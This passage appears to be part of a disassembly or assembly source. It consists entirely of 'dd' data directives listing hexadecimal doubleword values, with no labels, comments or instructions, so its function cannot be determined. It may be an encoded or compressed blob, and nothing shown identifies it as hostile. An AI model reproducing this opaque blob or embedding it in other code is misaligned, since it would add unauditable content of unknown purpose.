8B11D7D8h, 4BE4C948h, 5566400h dd 52952Ch, 0A44F5A1h, 43DC71Fh, 0AE32E503h, 0BE82D1B7h dd 19BA00F0h, 772DD5FAh, 2B000F9Eh, 67B03A6Ch, 0E551717Ch dd 63F2C835h, 0A07780E0h, 65CB0095h, 2E5943DEh, 5D0B1246h dd 8E05B3A7h, 0FA6EC0C8h, 0F4CBD45Ah, 39AC1E87h, 0CCD1C0B8h dd 0D4AA071h, 75051B7Ah, 0C4672EB0h, 984FF2C0h, 946B008Ch dd 0CA235E24h, 9F4809FCh, 0A3A81388h, 0D5C4A420h, 91779F6h dd 0B0D3459Eh, 0F80860C1h, 0AE0273F4h, 0B9C93E91h, 54D47814h dd 0D7E8CDAh, 0D856BD05h, 84EB40F8h, 0DC006C71h, 8FAEA6F9h dd 0F28A60F5h, 1817B94h, 56C6AA50h, 2CD20DD0h, 8BDB0058h dd 34EBFE58h, 1CCD00B0h, 64B52A2Fh, 0FF029EC0h, 0D5DF6289h dd 3458D3h, 0B3F2EBA7h, 0F7024353h, 18A42830h, 1420345h dd 1626D661h, 60DAA922h, 3200FDEEh, 8D4B347Eh, 1F1C717h dd 0CFEBDC0Eh, 0E907D2FCh, 904EFCD6h, 0DFAD0A1Eh, 0B3317440h dd 3FAAFCC3h, 3A802421h, 0D79B2C22h, 74006883h, 632712DCh dd 16A780BCh, 0F027Fh, 0C3F99EFCh, 6C00EB4Ch, 6ED5C77h dd 1C8D5Fh, 1D1A4D03h, 3E09D7E5h, 290C0D01h, 1F722573h dd 3F748CD8h, 0B5933103h, 509C0014h, 1D2FB323h, 8200D8B0h dd 41A306B1h, 3AE57DFh, 0C76DFA26h, 0A5C0FC49h, 48009A0Dh dd 9F13BD35h, 829CD9h, 0AB327B65h, 6011F4BEh, 0A4AA362Ch dd 0DC96BC1Dh, 15F3EC40h, 3B91CB3Ch, 0F048A2h, 98BC9E46h dd 0EC451D66h, 59C17504h, 20E399CBh, 0C310C4F2h, 0AA124CFDh dd 7159D000h, 0AE633F9Bh, 0FC000D7Ch, 0AB52292h, 0D0338Eh dd 9383DC64h, 36E27EC4h, 0C00470B2h, 0B5258D29h, 3772BCD0h dd 0C9961852h, 0FB071039h, 0F34448h, 4AF9F682h, 1C6B4764h dd 0C08BB311h, 0D00FCE35h, 5E076F9Bh, 366267F9h, 56B4A0E0h dd 0FE460030h, 13220348h, 2800CF93h, 671D08AAh, 986D3D8Bh dd 1A6B0045h, 0E19FD97Dh, 13002098h, 0F6D6FF18h, 160DEB5Fh dd 81E54Ch, 6B739406h, 4A0083B3h, 9ABB7061h, 0E18580h dd 0BA6C18E5h, 1CAC7559h, 6802A298h, 0BE6939ECh, 0DEB04860h dd 2ED800CAh, 78537F75h, 0A00AD51h, 0B65FDABBh, 1C966C2Ch dd 0C00EDB67h, 78ECAF03h, 0B2E02033h, 0A00BE605h, 0B4D09798h dd 1FB6990h, 0D148ECC5h, 0E86F053Bh, 0C40054F9h, 2D0D7B33h dd 0ED3587h, 4C4266E1h, 23F13AABh, 0C307CF04h, 0ECCCF3FBh dd 0A34500B8h, 0C29EB2D1h, 8B010CF5h, 0D527CDA6h, 8F6112CEh dd 0F9C9688Eh, 8174C760h, 9975707Ah, 0D9E0581Ch, 0DC8CDE00h dd 7502888h, 1475ADA8h, 0FC3462D7h, 3B9C3A40h, 53A36100h dd 3E292D7Bh, 16B10702h, 804F7C24h, 1C67ACF2h, 838CC402h dd 50BACC78h, 0CD7664h, 0AC99E88Ah, 0A2BD6A52h, 5A0FAD00h dd 0BB42D63h, 656901E0h, 5F76B896h, 0CC07905h, 0EE5839E7h dd 0D7E8000Bh, 0B3C9251Eh, 0A30EC83Ah, 0E0B25E95h, 0D48C9768h dd 50A05C87h, 2FD15904h, 31BDC02Eh, 17059B03h, 695EE307h dd 0D1339780h, 0D5D009Ch, 0ABDCD36Dh, 6300057Bh, 5421625Fh dd 55E91Dh, 49DA899h, 88F46801h, 9F2E5C00h, 3DE12A87h dd 3A2B0536h, 0D018431Fh, 9C4298A8h, 30510430h, 18FB73ABh dd 21190C10h, 3C03092Ah, 65C25EB7h, 605CC084h, 80317C05h dd 3D18A267h, 83289923h, 0D433005Eh, 0E81D642Bh, 2C0B3086h dd 0C540A038h, 0C01AFDCh, 617CAD6Dh, 200C00CDh, 3CEA16D6h dd 8233B800h, 9538D448h, 635700A7h, 0C6CD32DFh, 5400C17Eh dd 0E72CC046h, 0A09FCBh, 0BC4815D6h, 0BFADED7Fh, 662BAA0Fh dd 6FDD80CDh, 19F057CFh, 0E1160E61h, 64FECCC9h, 0A1794B00h dd 0B3692165h, 2E430059h, 91E4421Ah, 143A8790h, 0C8A1E1A7h dd 0A0D29629h, 4518BA80h, 750C001h, 31C9BF66h, 0A460437Ah dd 0D6869331h, 0E3410397h, 0C8B9E22Ch, 5BF490C0h, 95D36500h dd 115D935Fh, 0B0BF0F8Eh, 6098F298h, 8100064Ah, 0FC1C349h dd 7DDF64F1h, 307860E1h, 807657D6h, 0D916D100h, 25063166h dd 5A9F688h, 812710E5h, 8D88F47Fh, 0EBB2380Eh, 61F7EC84h dd 0DDA600DFh, 46E468C2h, 47005161h, 0DCAFF27Eh, 58B5D8h dd 69C4399h, 19F118C4h, 869D091Ch, 2C12D46Ah, 0D0A0FB97h dd 0F1A26045h, 0AF909651h, 33A18B00h, 155C824Ah, 1D89C189h dd 500D0BF7h, 73D55DC0h, 5E7A7100h, 426CA8C9h, 7FF9000Ah dd 2B305814h, 5B005D9Dh, 58D68D1h, 16610CB8h, 0EA32BF11h dd 3DBBCE00h, 1E0F5966h, 8786D6A2h, 8EBE1FE5h, 44BDC380h dd 0EB60F961h, 84B11108h, 0AB58B7FEh, 3873261Eh, 7CA7167Fh dd 7EC94700h, 1C122830h, 7CFCDEBFh, 4B16B200h, 0B713583Fh dd 5103EC00h, 0FAD460CBh, 0F4540009h, 0E670CE19h, 4007C09Dh dd 2183EEDEh, 0C6601C21h, 0C9CAF4h, 7D8CAB7Fh, 1572B3DDh dd 9A0FEC03h, 717B8DBh, 0A4E175D1h, 0E08850B6h, 4B0E2C44h dd 20DCCFB7h, 4EAD20EDh, 23A4019Fh, 0E631B29Eh, 0AC93300Ch dd 4C2F3701h, 0BF3C44D5h, 15D2E880h, 0DBBF234h, 0ADF64Ch dd 33125B28h, 239DE4h, 65C387D5h, 613DD6FCh, 8CD24100h dd 93A01164h, 0FD290030h, 6368B240h, 3501AA78h, 0AABD609h dd 5DC0727Bh, 1E5A0338h, 66550E80h, 21CA468Fh, 60031571h dd 125A5CEEh, 0E0D9A3EFh, 0BB1849h, 0A3AD26F3h, 3C970EE1h dd 933B61Fh, 0D22EA200h, 0C7A48ABh, 7B208242h, 32006A10h dd 4E0F0EA0h, 6385A568h, 7A620871h, 4CCA2000h, 3743DA9Dh dd 2AA70078h, 6AA57961h, 1E00D6B5h, 6474E3DBh, 7994817Ch dd 7069663Ch, 927D610Ah, 250008DEh, 53D0E9B9h, 88210072h dd 5BEAF8F3h, 0CA18D284h, 23C05D12h, 75CC0D8Ch, 91487729h dd 9B8047B0h, 0E60F0BA0h, 5D226943h, 0A035C71Ch, 1670575Eh dd 1B5F706Fh, 60430D71h, 55847B90h, 0D6B48703h, 0DB9E04F1h dd 4BB100A6h, 1EADCF19h, 0C90EEE48h, 8690DF26h, 1200957h dd 75CE5062h, 800ACB16h, 0D42BB7D9h, 0E73257h, 8776D846h dd 55313E54h, 283B601h, 7A2ED150h, 219D0A6h, 0C47FAA79h dd 31C3BCC0h, 0C879EB71h, 26326D1Ch, 0F89E8680h, 788C2Eh dd 7046F5D4h, 90A97CCEh, 99B40300h, 0C6BE4CD5h, 7A3E0086h dd 951F244Dh, 0B31730B2h, 3307A7E5h, 3CF0656Fh, 0F22BD13h dd 0BE81D858h, 508701E6h, 1EBA9507h, 80C0D9CBh, 0E2AF60C1h dd 4DAB3A91h, 0EB195582h, 0E9C01F06h, 0FA01B07Fh, 0C1D29B1Bh dd 7DE0BB48h, 0CE87001Eh, 253D4215h, 0A400716Bh, 26CD7658h dd 0DCA978h, 48F1F0B4h, 0E2FB43ACh, 0F7108501h, 0BB4CEC09h dd 1343BC4h, 0E307179h, 0F0DE4E3Fh, 0FD004940h, 85F9699Ah dd 1E7CCFh, 8D472943h, 7A72011Dh, 0C99AD307h, 8830B4E0h dd 14926C93h, 9490A550h, 16841E0Fh, 0EF80A01Ah, 0B28A2A26h dd 113E6403h, 63D0297h, 90BB51E0h, 0D407287Ah, 0CBDAC97Eh dd 0A6E60360h, 0E94900FCh, 559B41C3h, 26036092h, 98D1B61Fh dd 653B8DCh, 1D22E6C5h, 0CF73BA30h, 0D46039EFh, 483752A4h dd 0DECAD901h, 8C8B7B11h, 9CC0FDD7h, 346B1A7h, 0CF3E37BEh dd 8389DD3h, 0D738806Eh, 74B04F13h, 3E9000Ah, 46DD7131h dd 7900F686h, 28D3C95Fh, 66B2ED6h, 57876CB4h, 2DA058DFh dd 326B90Bh, 0F9043DC6h dd 9BC01E29h, 45D9DFh, 43F3A4CCh, 0A88DA4Fh, 16636974h dd 0A8FC5E21h, 4DADC4h, 0F7296057h, 7A9F060Dh, 1C8F8B00h dd 3810F33Eh, 0A9136076h, 7FF02137h, 9973A100h, 428915Eh dd 0DD8E95Bh, 65F730Eh, 9B3E429Fh, 395B691Ch, 302F4FE0h dd 0C8185008h, 732716Dh, 0E0B721CDh, 65A560Ah, 5120FA86h dd 0BD670816h, 1DC01121h, 51E03829h, 900160F3h, 6D00F496h dd 0B650A87Dh, 493D2684h, 505C3E9Eh, 0CB90FDC4h, 91102F60h dd 1DD0F951h, 202461h, 2CC6976Ch, 9800388Ah, 0ABA62A3Bh dd 72BDF2h, 1CE864E4h, 0A0F1BFA9h, 5C35EF00h, 0B450D3F7h dd 45D700F3h, 0D62A3F24h, 72001C44h, 51D5BD76h, 0BA26B8h dd 30AB8422h, 0CEF16B6Dh, 0C8001173h, 0D61ED38Ah, 3E3862h dd 58C68C78h, 0B36F3989h, 12F7B200h, 0CAFD0D7Ah, 817400E2h dd 8737C941h, 0AC00D082h, 0FFA0C701h, 0E00658B6h, 785F000Bh dd 36CA8AF7h, 0AF00C8C3h, 0CCE6C519h, 2B8898h, 0A8A557ABh dd 58E4183Eh, 0A90ECA7Ch, 906EB4h, 4B80BE4Eh, 8D6101DBh dd 9B33E952h, 9BF6Ah, 0AB80BFA4h, 0F0E46072h, 780E0088h dd 9994011h, 1E9039B8h, 0B9F9D600h, 0C4F86645h, 0B2D900EFh dd 37EB9876h, 0E35025B7h, 8B18C010h, 0EB79D9EEh, 92BC1498h dd 7E08F3h, 0CB794AF1h, 25E3E420h, 1BE2D03Ah, 0D020BD33h dd 0B4969h, 640F84D2h, 3CC44F3h, 1E14EA90h, 2370A410h dd 61C10068h, 3099528Fh, 9DC24486h, 8160780Eh, 7C4844FDh dd 5443FCC0h, 0B9F800ECh, 0A4C0E7DEh, 50C7EB86h, 0FA1075E0h dd 94BB0B4h, 46BD0393h, 20DE4886h, 74ADC600h, 4B1EEBCDh dd 0E8F0D82Dh, 431E566Dh, 3700E406h, 8CFBA27Ch, 19C60115h dd 1DA52B0Ah, 8477C8F2h, 4AA6A00h, 0D3A1DA60h, 305A008Ah dd 1CE92D97h, 2F02D706h, 0C980D14Ah, 3D86C0D9h, 0F532098Dh dd 80FDBBF9h, 0BAD6D0BAh, 56E40013h, 32808759h, 0F2780491h dd 4FE16304h, 7A8058A5h, 380778DBh, 0D4008BC8h, 0A11FB799h dd 0DC0081F4h, 91745708h, 3B0547h, 5FD852E7h, 4421E003h dd 778D8C06h, 301E65h, 3B1A9C09h, 0EF9779DBh, 0AF5BE30Eh dd 0FE180384h, 6070E221h, 0F28A33h, 9E3DF4CBh, 330C5CEDh dd 1731C90Eh, 5382C7BCh, 88F1EC5Fh, 83F70128h, 27FA92C1h dd 63D8DBD3h, 7F6048A0h, 0CA17A158h, 0BB851850h, 961CA077h dd 6C008B75h, 0F1079AC5h, 1F15B8E5h, 0DCF8F740h, 34A1C0C0h dd 0D9F9474Fh, 9BDC7400h, 2238ED5Ch, 37FA39D2h, 63B62B04h dd 0CF580A2h, 8B00E2DCh, 0F4A06ED0h, 0D6F9AD04h, 0E42E1008h dd 0FEF0E100h, 581DCB1Bh, 0D729AF00h, 0B79E538h, 0EDB51AF2h dd 0AB0331F8h, 0D81E56C6h, 8BC593D1h, 0A0001B35h, 36306D04h dd 180F7F46h, 1918BD75h, 87606737h, 7B2677F1h, 9AA0C6DAh dd 780059E7h, 0E5869F9Ch, 39C1931Fh, 4580FBC9h, 0FE31EE37h dd 2175F966h, 0BC723E00h, 85819188h, 625600FFh, 9AA0A461h dd 9E00D4B7h, 152292B8h, 55884Bh, 4D1A0FFEh, 8251B22Dh dd 840D7239h, 0CD565EC9h, 0E728D380h, 48B30015h, 728A5C90h dd 390058C8h, 0AC91C531h, 38782DBAh, 2F4B202h, 0CCED0D73h dd 71408E2Eh, 0E5009B72h, 0C1B4ABCAh, 0A3D49Dh, 23457DACh dd 17DCA0E1h, 0A2007BECh, 0CC75E506h, 26802097h, 0B9A90Ah dd 0BBD9A589h, 0B700CBD8h, 7E3C4490h, 0F8F31D46h, 4C2705B3h dd 7479207h, 0B331B4C3h, 8F90FE8Dh, 793D1574h, 64AF00D4h dd 5E8C41FCh, 913E1802h, 8AD0163Bh, 0D6A95C30h, 3AC82E48h dd 0C860546Fh, 97E632C3h, 0C66D3701h, 0BDB2B421h, 4499D8h dd 6F3104BCh, 0D6A3485Bh, 3A673503h, 0A1691DD2h, 2087BB7Dh dd 46486412h, 0B0300C2Eh, 142D1952h, 1D1901B5h, 0F16397FCh dd 2183DB35h, 55D5A9E0h, 375F8C00h, 0B4D45DC4h, 156501A0h dd 21BDB131h, 7F4050A6h, 287F8F48h, 0A0176843h, 16330047h dd 19E84B88h, 73EF070Ch, 0D08155h, 0A18BC9B5h, 0A9C7D1B9h dd 301D433Eh, 65E584Fh, 0F7630665h, 197FCF41h, 84153300h dd 0FE568297h, 0E6F900B6h, 7B534BEFh, 95002EA8h, 2A771662h dd 0AD12A7h, 5D20B4C8h, 55B5BC82h, 0FD9910C0h, 30082B05h dd 51580295h, 4801D1BFh, 0E25B1481h, 96FC840Fh, 0D25E3F29h dd 59838900h, 0B3514D56h, 1A771730h, 0C41676F9h, 0C0706499h dd 634B82FCh, 7AC0600Eh, 216D8C6Eh, 809800C2h, 64D13E50h dd 0B30CFF7h, 4EA84916h, 0B94F6921h, 64B3E600h, 0F600AF75h dd 0EE4A061Ah, 7D6218Bh, 0E5292DBCh, 313C103Dh, 4B1E5135h dd 0B783F710h, 0B8BB6D5Ah, 492F41h, 5DC73BB0h, 0CEFB8DBFh dd 0CA76439h, 0AD3A9E5h, 0B3F50083h, 3E22A2D5h, 6B07C83Dh dd 82652B71h, 0D416FDC0h, 0C1CC0004h, 0FE0DEAD7h, 4B00C236h dd 0A309F07Fh, 4CED58h, 25560F4h, 1A566B17h, 48001D74h dd 9458A2C2h, 9FF524h, 7A0BBF45h, 5E71C008h, 0F602F22Fh dd 36990058h, 3E0CCD66h, 4DB96800h, 0DA88A0FFh, 0CC7D00ADh dd 0FAE1518Ah, 591E9273h, 0DC8011D7h, 0BE1D6D71h, 0EAC872A9h dd 0D58C39D4h, 1D93C497h, 18F597E3h, 76A3585Ch, 9112C306h dd 10C4D7h, 5E82C0B8h, 0B6B3C750h, 0B7E8D91Dh, 20CFA60Ch dd 82BD000Eh, 229388B0h, 0A9003424h, 3F7B805h, 5FA3B6FAh dd 0D164C0A6h, 1214A22Ah, 88DFCBh, 9BC5ECCDh, 73F07ADh dd 7D11D3C8h, 81984AF8h, 8E5B16CDh, 3D98C0EFh, 7D0AB5F6h dd 0B0E707AAh, 0B38B3F00h, 50C9A6Bh, 85CDD711h, 801B870Bh dd 1F679436h, 1CFFF100h, 87A6FE0Eh, 28AF010Dh, 7591C6A0h dd 0E57C7044h, 0DCA9A726h, 16B04700h, 83DFADh, 2B4280AAh dd 8F58CD03h, 0AF6B21C0h, 95B0ADh, 4ED3AC1Eh, 0D490366Fh dd 0C1B8D803h, 9B0E17AEh, 0A0CB0F2h, 0EF700C74h, 8418ABEAh dd 6DE5FB0Fh, 0C9B38009h, 986972F4h, 0A0F4A398h, 0BA9047h dd 0C822A4E4h, 43AB78B1h, 35612C3Ah, 1C0021A1h, 705669A0h dd 1FED0036h, 11A5D0F3h, 900C4643h, 85B7DDAh, 1A5200B6h dd 4B2C935Ah, 9801CE04h, 2AF6DFBh, 0D081DB74h, 11A96890h dd 0DF405005h, 0C72351A4h, 0A71199h, 89A1D580h, 1C2DA4Eh dd 0FC105C95h, 0B125CB11h, 8EED0D8h, 0A405E00Ch, 63D1C736h dd 66832870h, 25F2AEh, 0A1D7D832h, 0D4BD5B2Ch, 0C3651400h dd 18FFCD9Ah, 0FE6D00F7h, 4816DB72h, 2C016444h, 0B890CB71h dd 24D1CE02h, 0E1E42180h, 0BBAE7A41h, 3A07D100h, 0AA5CEB79h dd 0DB02002Dh, 5B2A98D8h, 1B17573Eh, 590173FBh, 18959BB5h dd 0C5E4F0h, 0AC385E2Bh, 2BEDDEDh, 0E83D5900h, 80EB3366h dd 218F008Bh, 0E79F4A03h, 340054D2h, 45B7B4A0h, 5988755h dd 0FE7CC4C9h, 40BDC093h, 0EC7B5AE4h, 26DD6201h, 0F0A94337h dd 8FE370h, 4FE87103h, 0ED0E2572h, 5875900h, 0D36337A3h dd 48EF02E9h, 2AC51F83h, 0D9C488C0h, 70350D00h, 61E0DED5h dd 732E0036h, 17115904h, 16003258h, 0C2C614E9h, 147DD4Fh dd 0C79A96CDh, 0C02FC0CEh, 0E47EFE2Eh, 1D9BEA00h, 0F2FF3C67h dd 17140061h, 0FAF50AB2h, 0A67BEE2Dh, 4D995900h, 1A6F3C86h dd 69DC03CAh, 64EFB0E0h, 0AE6307Eh, 28BFBB00h, 0DCD1FF84h dd 6AD2006Ch, 1BD313A5h, 5F306962h, 0CA0F61CFh, 9A8C31Eh dd 0DCE0A1B7h, 0A0030C6h, 0FC879AD0h, 37E8260h, 934EA3B8h dd 3800655Eh, 7DA486Fh, 79671Bh, 0CDD06215h, 7C40EDAFh dd 33F29E06h, 120F92Eh dd 3FDB3697h, 0C0C9FA6Ah, 5800197Ch, 31AA6D62h, 30D2713h dd 39F9F867h, 5F9072D9h, 5A00E334h, 28259180h, 0B0B2488Fh dd 819900FFh, 0A2D80D1Fh, 653F9AE9h, 500CB068h, 176714h dd 0A118D224h, 0B55942A5h, 0C78C6B00h, 8DFBAAE7h, 6629367Dh dd 9125881h, 0D7F0B5DDh, 0A34B1D9Ah, 0CC3CCE4Fh, 0AF29630Ch dd 950286FAh, 0EB0F0D26h, 21988017h, 886013h, 94E42301h dd 97058EF4h, 0C1024B7Fh, 0B1A14C80h, 0AE8881CCh, 3CC45E60h dd 0E21A01D5h, 711D2654h, 3330D803h, 0FA64B103h, 0C0A08A25h dd 0BCDA8Bh, 0ACDE008h, 624205B6h, 80431238h, 98E54060h dd 18FBA3F5h, 2167F633h, 5400DAD4h, 1D32C1E0h, 1DDDCDBAh dd 4D18F5h, 12754E95h, 0AF00490Fh, 726243CEh, 7229EA8h dd 27C54BBAh, 16D5A0B9h, 100F6EB6h, 80DE725Fh, 0E0409719h dd 23B800BCh, 920F4DC4h, 2B008B36h, 4EB9B6ECh, 145F0DF4h dd 58D3E00Ch, 7A434180h, 0A8D0D14Ch, 0A581058h, 481AB200h dd 0ED8B388Ah, 0C11FA100h, 0AAF37887h, 31BC00CFh, 0B35C5A19h dd 8804598h, 717D3A0Fh, 8E794063h, 200014BBh, 9F20AC3Eh dd 30C9B9BCh, 8C00284h, 0D905A7E8h, 0C6A48D07h, 0DE8E881Ch dd 2059ACADh, 0BB023042h, 0BDC2DC1Eh, 0B2F00703h, 0E4D146Eh dd 8EA2FC21h, 669B06E3h, 12F2D4F8h, 0D5C56000h, 0A78C40E0h dd 7B9E2B7h, 0F4FB9D75h, 0B158B077h, 8100F652h, 0C5AF4790h dd 1C5AB0E1h, 800CDDA8h, 448BD56Eh, 0F9009F3Dh, 0D7819B68h dd 77220CFh, 0EE5F51F0h, 0E5B1004h, 9E00CDBCh, 901593C5h dd 672481h, 409C64F3h, 1918EF28h, 0DB8AB201h, 30C7E1B1h dd 0EAA35E0h, 1E4C1394h, 0A227DF00h, 26009850h, 938D0BD0h dd 1A97E8h, 0CD2D9BD4h, 7BC589D5h, 0ADA4E700h, 3285267Ah dd 7E5C38D7h, 0DEF33880h, 0AB86EF14h, 8A0B1907h, 3930896Bh dd 0A824A7h, 1218C7C6h, 468F04EAh, 687EFE0Ch, 0B03187h dd 0CA6473DBh, 0BA691F1Ch, 9D7D00Fh, 628DC04Fh, 22AB97EBh dd 0CC12F811h, 5005B1Eh, 0B40D4CBDh, 0AC4A39BCh, 14E69980h dd 1F1B6C55h, 29A4C361h, 0F7D489D8h, 0DE13075Ah, 7040735h dd 9DCBC0BAh, 0E648FFE3h, 4FEE0F35h, 0DC80E1A4h, 9FF136B4h dd 2E7E6470h, 1F400412h, 67E400DDh, 94743FCEh, 9DAFAA00h dd 0DED41BF4h, 5AFC3A66h, 0E65621AFh, 2CB2E600h, 1E1CC457h dd 7D84A62h, 80C3BADCh, 34598C2Ah, 4C1A9907h, 6DA0E19Dh dd 64A7C89h, 0B35EB062h, 197C2EC3h, 5835E400h, 920E3859h dd 0ACED3F63h, 8FE03D79h, 0AB8C1900h, 166971D9h, 3C52B801h dd 5B979D2Eh, 502FEEF0h, 959C87h, 32D82096h, 2870A40Ah dd 0C64EED01h, 0E71682F4h, 179A10D4h, 8E7C1Ah, 9FE8A128h dd 0FF004C3Bh, 0EB312CA5h, 1DB4A3Eh, 3773F98Bh, 0C893F2BEh dd 2F005A44h, 1D45B5E0h, 0E1E792h, 0F98A05A3h, 32DB6433h dd 7E666300h, 8BD2FD2Ch, 424B00C8h, 14A3CF2h, 0BBFCFCF6h dd 0C2159400h, 43DE2E3Fh, 187A1DC7h, 28C107BCh, 0A32180FDh dd 9300844Ch, 99C5A06h, 3EB044h, 3B3C0B9Dh, 9054C049h dd 82732C01h, 10BC7D59h, 6088E2C7h, 0A7CBD8h, 6921422Fh dd 0CD40BAB1h, 0CCD858h, 12933C09h, 0EA865834h, 0F9131898h dd 553E4088h, 0BD3037EEh, 80D2883Bh, 0C8FF6038h, 0B3620A5h dd 3FD37A00h, 0FA3416CAh, 0E072E7h, 8B0FED6Fh, 3DD60982h dd 72000CE2h, 298543Fh, 15C44Dh, 96D2FCFFh, 0F0211E3Ah dd 49D9381Eh, 1300FC3Dh, 0FDF6782Ah, 616A50DEh, 89982120h dd 4780EF02h, 36031F28h, 5CA07D45h, 93A391EAh, 7B109420h dd 39BBECB5h, 0D78151BCh, 162A086Dh, 0C5ACF0DBh, 0F61A7500h dd 0B97FCC77h, 80BA0672h, 38B75D45h, 8052CA39h, 0BC6EB5E4h dd 518D56h, 12C9F644h, 6B616764h, 8CF0F200h, 5B58BCBDh dd 91A60026h, 0EEC1BA7Dh, 3AFA6B64h, 34476703h, 0B09A57B9h dd 8401Dh, 0F77BB271h, 4D6F2585h, 0FECF520Eh, 0F5D320F8h dd 597148h, 0EE874763h, 3DCC4D0Fh, 0C5D98228h, 50BA7800h dd 20A47FC1h, 0E0C924A6h, 8C7104FFh, 0D3A1C0DBh, 0AB00DABDh dd 7E4A276h, 3DE19B5Ch, 0A1603EF4h, 0C3677AF6h, 0AFAC7E03h dd 0E0938B3Dh, 749269h, 0A9E0CD6Ch, 0FC5039D2h, 661DC901h dd 1BBECF98h, 0FDBC0C80h, 94799347h, 0B9F2BA0Eh, 3FD8A07Dh dd 0A812Fh, 5A807105h, 0AD2137A9h, 0CC1EE707h, 0DEB0C9E1h dd 26D934h, 12981C3Ah, 0B1259C88h, 96005672h, 4C3E81FFh dd 2EC517h, 0D3733FDAh, 0EC1C6030h, 6B271F07h, 8A179A16h dd 4BBD8710h, 0BF150E46h, 2F2107D8h, 30E83D28h, 0BDE2C3E2h dd 8F94B800h, 0AE61D7C1h, 7EF7D7Fh, 5859517Bh, 0D02C024h dd 0B8002068h, 0BB37B0E0h, 0D41FB2h, 8A98133h, 0C6F44991h dd 1E6FEB07h, 1D62F53Ah, 1FCC3C4h, 65D79FCEh, 0F4030C21h dd 471E82AEh, 1C0743Ch, 0A62DB072h, 0D2CB0012h, 97266A27h dd 3EB838FCh, 74149A00h, 0BE31A6BAh, 0F63D00D0h, 2FAF122h dd 0B300A475h, 2608AAC0h, 1F832927h, 0BE4A55D6h, 538CC900h dd 0E1B5F786h, 0E6FAF300h, 0C8B0362Eh, 67B872h, 62F6DEBCh dd 166C5F17h, 362D0E00h, 0BDB3EBD7h, 0A8950033h, 0B2641A8Dh dd 0C71F11B0h, 5A834B15h, 90547F43h, 0FAC6AA56h, 0F2D63A05h dd 4F3D9280h, 843C8A51h, 96A1B200h, 996D505Fh, 3B639061h dd 10801B42h, 0C83EA236h, 0C9000E5Ah, 41CCD0BCh, 7C2FDEh dd 0C1A81BF1h, 0BA9E0DF5h, 0FD16850Eh, 493819A5h, 0D93660h dd 0AE912755h, 0CB96E2FEh, 0A3BAE705h, 0CC0420C7h, 2C800BF8h dd 1D83B342h, 1E3C452Eh, 652C0036h, 531325D9h, 0D2AE8500h dd 3F5BEA7Fh, 0C9ECBCh, 4FF36230h, 3987CE32h, 509C9400h dd 0E8A74256h, 45470086h, 0C370CC64h, 900053BEh, 888D058Eh dd 0FAD8B2A2h, 0DCD30C0Bh, 0DDD0843Fh, 0F2FA2D00h, 61D6A2E3h dd 0B7D70004h, 0B5C93D83h, 0A600D43Ah, 208FF90Ah, 5EB7Dh dd 4DBBC62Fh, 0A5EE4345h, 8049BE01h, 0B1CDD14Ch, 1D455D4h dd 76A7A870h, 703D5AEAh, 38000790h, 9D23A33Ah, 0F7111BBh dd 0A770F501h, 0EF1A1600h, 2507E95Fh, 0B86D278h, 0E7D0B083h dd 9E072100h, 0D56C3A42h, 0DE505502h, 989013CEh, 9F006DAEh dd 7FD50892h, 0DFE109h, 80751E5Dh, 9E1348D6h, 0FEA1113Bh dd 7BA32600h, 0AE846AB7h, 50E8A1E1h, 213F220h, 59D75443h dd 92608A7Ah, 5600F083h, 19C7B290h, 1406BF89h, 0F4C4DA46h dd 3CD3151Fh, 32F5E102h, 49C017C3h, 0A0001D0Ah, 0A7B24739h dd 2D9D4Ah, 0B099796Ch, 5F9FE08Ah, 75D13200h, 7D29961Eh dd 25C40B83h, 0B101083Eh, 0D4AF6D0Eh, 7600FA6Fh, 5BE94AA5h dd 1D9D5A59h, 5F9329AAh, 25C50E51h, 3C684E00h, 40E0967Bh dd 7301441Fh, 0FBAD38C0h, 468A78h, 0E7CC2EBCh, 0C4FACF30h dd 9C6D8400h, 63941B2Ch, 0EE99005Eh, 6FB009D5h, 0E400DE4Bh dd 0D051B7A7h, 183858h, 9257FD7Bh, 6C52AD1h, 0EB760103h dd 82286FCCh, 4023C029h, 0FA3B1D4Fh, 7999F32h, 100B8E06h dd 7C1126DEh, 21E71A06h, 0DC4BBBh, 73CE759Dh, 0E25651F0h dd 691B7200h, 299F1E3Ch, 5439007Fh, 8F8C9537h, 0F7006C2Fh dd 0CB99F504h, 985728B8h, 9C4F2464h, 0D11FDCh, 0BBDBFE5h dd 0FA807823h, 0C52B007Fh, 391C7D40h, 0C1003344h, 0FBA060Bh dd 1D456CCEh, 46ECD9h, 0ED05EAA9h, 0C900F532h, 297218B8h dd 6BD0A5h, 178F43DBh dd 610201A1h, 0F3522A12h, 0A6747C47h, 0FB07E570h, 92500F7Bh dd 2860B19Ch, 0CE5A2A02h, 42957500h, 7A46B2F3h, 0C430E596h dd 2E44E2DDh, 0CF0478h, 0AC67A53Eh, 0CD328A4Ah, 4026F6F8h dd 3F60DC18h, 0B0827BB6h, 1ED0FA2h, 0AFE84F60h, 91A739h dd 563857BFh, 0F50F7EAh, 1C3EB48h, 89925FA2h, 0E000A9C2h dd 0BF6A5235h, 0B760A398h, 0A384A159h, 209F00FFh, 0EE744A9Ch dd 0EC00A0B6h, 0BAC64EC0h, 0F57F08Fh, 0BCE25986h, 0EAB8DC41h dd 130F20C3h, 0CB337E1Ch, 75D8D100h, 44F16h, 0F7D99C50h dd 315E7C8Eh, 0DAACDE01h, 0C052B514h, 0F87BF70h, 6198AACBh dd 31455B60h, 8185D25h, 1F28E192h, 0B4881F4Dh, 6DE747F9h dd 22F0D07Bh, 9B007D6Eh, 1BADD821h, 0FB08FDh, 0B6706C56h dd 88658CE9h, 3C3BCD1Eh, 2D175AC7h, 0EDBB9900h, 1BCC1C11h dd 6E7200BCh, 89C79724h, 80006492h, 0E5791035h, 9B28AEh dd 42477F98h, 0A093B2F0h, 8DE8B700h, 0FBD18461h, 4003098Fh dd 0F300A5AFh, 9CE09E15h, 0E57AF71Dh, 45398440h, 7802F9h dd 165296AEh, 76DB1BC5h, 493C351Fh, 0AC0056ECh, 2AB14D56h dd 0ECE64B36h, 4E007F3Bh, 0F9DCA8C9h, 0F6CDFBh, 6A7650B9h dd 0D8B3786Bh, 0DB182B0Fh, 0CDFFE045h, 962FD1h, 68801712h dd 0A4028EE5h, 10B543Ah, 227427FEh, 0EC308196h, 70E1014Ah dd 9D44215Ch, 300521CFh, 7E07070Eh, 3362FE48h, 0D8C3CAD0h dd 0D9490094h, 1E6D647Ah, 0BB003440h, 90170AA1h, 1D8B2A7Eh dd 121F3DDh, 48E37CE8h, 7ABEF002h, 80F948h, 3CAAB43Fh dd 15A4C6Bh, 212FDB4Dh, 30BF48EDh, 11196161h, 29984FC8h dd 0D3FA6EDCh, 